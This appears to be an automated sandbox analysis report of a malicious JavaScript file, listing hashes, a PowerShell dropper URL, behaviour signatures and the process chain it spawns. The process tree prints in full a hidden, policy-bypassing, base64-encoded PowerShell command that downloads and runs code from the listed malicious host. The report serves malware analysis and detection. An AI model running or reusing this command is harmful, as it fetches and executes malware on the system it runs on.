Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    02/01/2024, 15:55

General

  • Target

    359b12112992fb525b91de4c27d24bff.js

  • Size

    23KB

  • MD5

    359b12112992fb525b91de4c27d24bff

  • SHA1

    5de67e028c5d9e43d4219a51815d7e73298ce26c

  • SHA256

    88d4d3f48bd23543980b70b5a78606d80c2917bfcd960991eb9a8ddf6ac58ed2

  • SHA512

    38fe4134cdd2bd4b356919789a2f0090dcd0588f4d12f1cd4f9a2ec43ec6e18b907e1751fb3a59ba34fe261c39e40ab5ecf955ef4743b6fce0576800ddce845d

  • SSDEEP

    384:+YjCpsGBoQjAyo1a5mc4+Ph9wMnRBdGybNTsFO02St:+1pqQjAz1a54+pyOTsFO02St

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://munardis.space/222g100/index.php

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\359b12112992fb525b91de4c27d24bff.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1636
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQB1AG4AYQByAGQAaQBzAC4AcwBwAGEAYwBlAC8AMgAyADIAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQB1AG4AYQByAGQAaQBzAC4AcwBwAGEAYwBlAC8AMgAyADIAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2292

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/2292-4-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

          Filesize

          2.9MB

        • memory/2292-6-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

          Filesize

          9.6MB

        • memory/2292-5-0x0000000002310000-0x0000000002318000-memory.dmp

          Filesize

          32KB

        • memory/2292-7-0x0000000002330000-0x00000000023B0000-memory.dmp

          Filesize

          512KB

        • memory/2292-8-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

          Filesize

          9.6MB

        • memory/2292-9-0x0000000002330000-0x00000000023B0000-memory.dmp

          Filesize

          512KB

        • memory/2292-10-0x0000000002330000-0x00000000023B0000-memory.dmp

          Filesize

          512KB

        • memory/2292-11-0x0000000002330000-0x00000000023B0000-memory.dmp

          Filesize

          512KB

        • memory/2292-12-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmp

          Filesize

          9.6MB